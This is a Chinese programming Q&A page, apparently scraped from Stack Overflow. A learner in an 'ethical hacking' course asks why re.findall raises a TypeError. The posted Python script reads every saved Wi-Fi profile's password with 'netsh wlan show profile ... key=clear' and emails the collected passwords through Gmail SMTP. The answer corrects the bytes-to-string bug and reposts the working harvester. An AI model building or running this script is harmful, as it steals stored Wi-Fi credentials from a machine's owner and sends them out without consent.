在re库中使用findall时出错

爵士乐

我正在观看道德黑客课程,当我上这堂课时遇到错误,我不知道为什么要尝试,但是这里出现了一个错误:

    File "D:\send_emails.py", line 14, in <module>
    network_names_list = re.findall('(?:Profile\s*:\s)(.*)', networks)
    File "C:\Users\maha_\AppData\Local\Programs\Python\Python38\lib\re.py", line 241, in findall
    return _compile(pattern, flags).findall(string)
    TypeError: cannot use a string pattern on a bytes-like object

这是我的代码:


import subprocess, smtplib, re


def send_mail(email, password, message):
    server = smtplib.SMTP("smtp.gmail.com", 587)
    server.starttls()
    server.login(email, password)
    server.sendmail(email, email, message)
    server.quit()


command = "netsh wlan show profile"
networks = subprocess.check_output(command, shell=True)
network_names_list = re.findall('(?:Profile\s*:\s)(.*)', networks)
result = ""
for networks_names in network_names_list:
    command = 'netsh wlan show profile ' + '"' + networks_names + '" ' +" key=clear"
    passwords = subprocess.check_output(command, shell=True)
    result = result + passwords
send_mail("mygmail", "mypassword", result)
Advay168

subprocess.check_output(command, shell=True) 返回一个字节对象

转换为字符串使用 subprocess.check_output(command, shell=True).decode()

result = result + passwords由于无法将字符串连接到字节,因此也会出现错误而是passwords在连接前使用.decode()

所以你的最终代码应该是


import subprocess, smtplib, re


def send_mail(email, password, message):
    server = smtplib.SMTP("smtp.gmail.com", 587)
    server.starttls()
    server.login(email, password)
    server.sendmail(email, email, message)
    server.quit()


command = "netsh wlan show profile"
networks = subprocess.check_output(command, shell=True).decode()
network_names_list = re.findall('(?:Profile\s*:\s)(.*)', networks)
result = ""
for networks_names in network_names_list:
    command = "netsh wlan show profile " + networks_names + " key=clear"
    passwords = subprocess.check_output(command, shell=True)
    result = result + passwords.decode()

本文收集自互联网,转载请注明来源。

如有侵权,请联系[email protected] 删除。

编辑于
0

我来说两句

0条评论
登录后参与评论

相关文章

来自分类Dev

在python 2.6中使用XML API findall()时出错

来自分类Dev

在Qt中使用SOIL库时出错

来自分类Dev

在片段中使用MaterialViewPager库时出错

来自分类Dev

使用 re.findall() 查找从 A 到 Z 的所有字母时出错

来自分类Dev

在Android应用程序中使用.so库时出错

来自分类Dev

在 txt 文件中使用 re.findall

来自分类Dev

在python中使用re.findall()时如何显示正确的输出?

来自分类Dev

在正则表达式中使用组时,re.findall()和re.finditer()之间的区别?

来自分类Dev

使用库时出错-javascript

来自分类Dev

使用 boost 库时出错

来自分类Dev

在宏中使用“#”时出错

来自分类Dev

在“Case When”中使用“AND”时从数据库中检索数据时出错

来自分类Dev

在python re.findall中使用多个标志

来自分类Dev

在Python中使用re.findall但不带括号

来自分类Dev

在Python中使用re.findall()进行网络爬网

来自分类Dev

如何在python中使用re.findall

来自分类Dev

在AWS Lambda中使用confluent-kafka python库时出错

来自分类Dev

在Android中使用SQLite数据库插入数据时出错

来自分类Dev

在phonegap应用程序中使用sqlite实现内置数据库时出错

来自分类Dev

使用dlopen()加载共享库时出错

来自分类Dev

使用CMake构建库时出错

来自分类Dev

尝试在Linq中使用包含时出错

来自分类Dev

在Python中使用Sapi Voice时出错

来自分类Dev

在Delphi中使用Power时出错

来自分类Dev

在Rails中使用Bootstrap Sass时出错

来自分类Dev

在JavaScript中使用PHP文件时出错

来自分类Dev

在索引中使用宏循环时出错

来自分类Dev

在Nginx中使用lua时出错

来自分类Dev

在ADOQuery中使用参数时出错

Related 相关文章

热门标签

归档